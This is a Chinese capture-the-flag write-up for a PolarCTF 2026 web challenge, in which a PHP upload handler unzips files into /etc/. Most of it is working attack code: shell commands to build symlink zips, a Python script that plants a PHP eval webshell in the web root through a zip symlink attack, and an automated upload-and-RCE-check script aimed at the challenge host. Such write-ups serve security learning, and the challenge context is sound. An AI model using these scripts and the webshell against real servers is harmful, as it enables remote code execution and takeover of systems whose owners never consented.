【PolarCTF2026年春季挑战赛】狗黑子最后的起舞

扫目录发现login.php

注册一个账号并登录,发现增加了一个目录,继续扫这个目录

githack恢复一下

复制代码
<?php
if (isset($_FILES['file'])) {
    $f = $_FILES['file'];
    if ($f['error'] === UPLOAD_ERR_OK) {    # 检测文件上传是否成功,UPLOAD_ERR_OK 表示无错误
        $dest = '/etc/' . time() . '_' . basename($f['name']);    # 文件名称 = 时间戳 + 原文件名,避免重名
        if (move_uploaded_file($f['tmp_name'], $dest)) {    # 将上传的临时文件移动到目标路径 $dest,成功则继续执行;$f['tmp_name'] 就是 PHP 上传文件时,系统自动生成的【临时文件路径】,脚本执行完成之后会自动删除
            $escapedDest = escapeshellarg($dest);    # 对文件路径进行 shell 转义,防止命令注入漏洞
            # unzip -o:强制解压,自动覆盖同名文件,不询问
            # -d /etc/:指定解压到 /etc/ 目录
            # 2>&1:将标准错误输出重定向到标准输出,方便查看执行结果
            exec("unzip -o $escapedDest -d /etc/ 2>&1");
            if ($code !== 0) {
                # 原文没有定义,应该是如果解压失败则再次尝试解压
                exec("unzip -o $escapedDest -d /etc/ 2>&1");
            }
            # 删除上传的 ZIP 压缩包,清理痕迹
            unlink($dest);
            echo "ghz";
        }
    }
}
?>

这段代码的漏洞点在于

复制代码
exec("unzip -o $escapedDest -d /etc/ 2>&1");

这个漏洞叫做zip符号链接攻击

那么这个恶意的zip制作方式如下

复制代码
方法1:
# 1. 创建符号链接,指向目标文件,第一个参数就是你要指向的那个文件,第二个参数就是你符号链接的名称
ln -s /etc/passwd symlink_to_passwd
# 2. 将符号链接打包进zip(保留符号链接属性)
zip --symlinks malicious.zip symlink_to_passwd


方法2:
# 或者创建一个包含要写入内容的文件
echo "malicious content" > payload.txt
ln -s /target/file.txt symlink
zip --symlinks malicious.zip symlink payload.txt

那么我们的攻击思路就很明显了:

步骤1:

首先创建一个zip压缩包,包含一个名为 link 的软链接,指向 Web 根目录(/var/www/html)。解压后,会在服务器上创建/etc/link -> /var/www/html

步骤2:

再创建一个zip压缩包,包含一个名为link/shell.php的文件。解压到/etc/时, unzip 会尝试写入/etc/link/shell.php。但是由于由于/etc/link是向/var/www/html的软链接,文件最终会被写入到/var/www/html/shell.php

攻击流程如下:

复制代码
┌─────────────────────────────────────────────────────────────┐
│  第一步:上传 link.zip                                       │
│  ┌──────────────┐                                           │
│  │   link.zip   │  包含:link -> /var/www/html (符号链接)    │
│  └──────────────┘                                           │
│         ↓ 解压后                                            │
│  当前目录出现:link (符号链接) → /var/www/html               │
└─────────────────────────────────────────────────────────────┘
                           ↓
┌─────────────────────────────────────────────────────────────┐
│  第二步:上传 shell.zip                                      │
│  ┌──────────────┐                                           │
│  │  shell.zip   │  包含:link/shell.php (WebShell 内容)      │
│  └──────────────┘                                           │
│         ↓ 解压时                                            │
│  unzip 跟随 link 符号链接,实际写入 /var/www/html/shell.php   │
│         ↓                                                   │
│  攻击者获得 WebShell,可执行任意命令!                        │
└─────────────────────────────────────────────────────────────┘

为什么要分两个ZIP进行攻击?
1、符号链接必须先存在,才能被跟随
2、如果放在同一个 ZIP 中,解压顺序不确定,可能符号链接还没创建就尝试写入
3、分两次上传解压,确保攻击顺序可控

攻击的exp.py如下

复制代码
import zipfile
import os

def create_symlink_zip(zip_name, link_name, target_path):
    """
    Creates a zip file containing a symbolic link.
    """
    # Create the zip file
    with zipfile.ZipFile(zip_name, 'w') as zf:
        # Create a ZipInfo object for the symlink
        zi = zipfile.ZipInfo(link_name)
        # Set create_system to 3 (Unix) to ensure external_attr is interpreted correctly
        zi.create_system = 3
        # Set external attributes to represent a symlink (Unix attribute 0xA000)
        # The attribute format is (mode << 16) | 0
        zi.external_attr = 0xA1ED0000  # 0xA000 for symlink, 0x1ED for 0755 permissions
        zf.writestr(zi, target_path)

def create_payload_zip(zip_name, link_name, filename, content):
    """
    Creates a zip file containing a file inside a directory named like the symlink.
    """
    with zipfile.ZipFile(zip_name, 'w') as zf:
        zf.writestr(os.path.join(link_name, filename), content)

if __name__ == "__main__":
    # ZIP 1: Symlink to the web root
    # Note: We use 'link' as the symlink name. 
    # In the second ZIP, we'll use 'link/shell.php'
    create_symlink_zip("link.zip", "link", "/var/www/html")
    
    # ZIP 2: Payload file inside the symlink directory
    create_payload_zip("shell.zip", "link", "shell.php", "<?php eval($_POST['cmd']); ?>")
    
    print("Generated link.zip and shell.zip")

由于没有上传文件的前端,再写一个脚本实现自动化上传和验证

复制代码
import requests
import os
import time

# 题目地址
TARGET_URL = "http://3d822fe3-7075-4504-8714-4f8dbd92825c.www.polarctf.com:8090/ghzpolar/gouheizi.php"
BASE_URL = "http://3d822fe3-7075-4504-8714-4f8dbd92825c.www.polarctf.com:8090/"

def upload(filename):
    print(f"[*] Uploading {filename}...")
    with open(filename, 'rb') as f:
        files = {'file': (filename, f, 'application/zip')}
        r = requests.post(TARGET_URL, files=files)
        print(f"[+] Response: {r.text.strip()}")
        return r.text

def check_shell():
    # 尝试两个可能的 shell 路径
    paths = ["shell.php", "ghzpolar/shell.php"]
    for path in paths:
        url = BASE_URL + path
        print(f"[*] Checking shell at {url}...")
        try:
            r = requests.get(url, timeout=5)
            if r.status_code == 200:
                print(f"[!!!] Shell found at {url}")
                # 简单测试一下 RCE
                r_post = requests.post(url, data={'cmd': 'echo "pwned";'})
                if "pwned" in r_post.text:
                    print("[!!!] RCE verified!")
                    return True
        except Exception as e:
            print(f"[-] Error checking {url}: {e}")
    return False

if __name__ == "__main__":
    # 1. 运行 gen_zip.py 生成压缩包
    print("[*] Generating ZIP files...")
    os.system("python gen_zip.py")
    
    # 2. 上传 link.zip
    upload("link.zip")
    
    # 3. 上传 shell.zip
    upload("shell.zip")
    
    # 4. 验证
    check_shell()

访问后门即可getshell

得到flag{aa1e3ea993e122de5de6e387db6c860}

相关推荐
℡ 萧2 小时前
OSPF开销值、协议优先级及计时器的修改-新版(17)
网络·网络协议·网络安全·智能路由器·信息与通信
一名优秀的码农3 小时前
vulhub系列-41-DerpNStink: 1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
大方子3 小时前
【PolarCTF2026年春季挑战赛】coke的粉丝团
网络安全·polarctf
旺仔Sec4 小时前
一个“感谢页面“如何让我拿到服务器Root权限?——DC-5靶机渗透实录
web安全·网络安全
淼淼爱喝水5 小时前
DVWA手动盲注SQL实验(详细教程)
数据库·sql·网络安全·oracle·dvwa
一名优秀的码农17 小时前
vulhub系列-39-y0usef(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Echo-J19 小时前
KVM-VMI项目编译安装全过程,包含所遇问题及解决措施
安全·网络安全·云计算·系统安全
oi..20 小时前
Flag入门—Flag在返回包中
网络·笔记·测试工具·安全·网络安全
heze0921 小时前
sqli-labs-Less-53
数据库·mysql·网络安全